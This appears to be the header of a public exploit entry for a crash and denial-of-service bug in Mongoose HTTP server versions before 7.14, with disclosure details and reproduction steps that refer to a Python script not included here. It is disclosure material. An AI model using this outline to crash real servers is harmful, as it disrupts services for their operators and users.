# Exploit Title: Mongoose HTTP < 7.14 DDOS Stack-Based Free()
# # Exploit Title: Mongoose HTTP < 7.14 DDOS Stack-Based Free()
# Discovered by: Yehia Elghaly
# Discovered Date: 2025-06-11
# Vendor Homepage: https://mongoose.ws/
# Software Link : https://github.com/cesanta/mongoose/tree/7.14
# Tested Version: < 7.14
# Vulnerability Type: DDOS Stack-Based
# Tested on OS: Windows 10 - Windows 11

# Steps to reproduce:
# 1. - Run Mongoose < 7.14
# 2. - Run the python script - It will crash

# Note: The bug didn?t always cause a crash on the first test, you may need to run the python scripts few times that because the result of free() on a stack address is undefined behavior. Sometimes it works. Sometimes it silently corrupts memory. Sometimes the heap manager doesn?t detect it? until it?s too late.

# The Vendor had been notified and fixed the bug
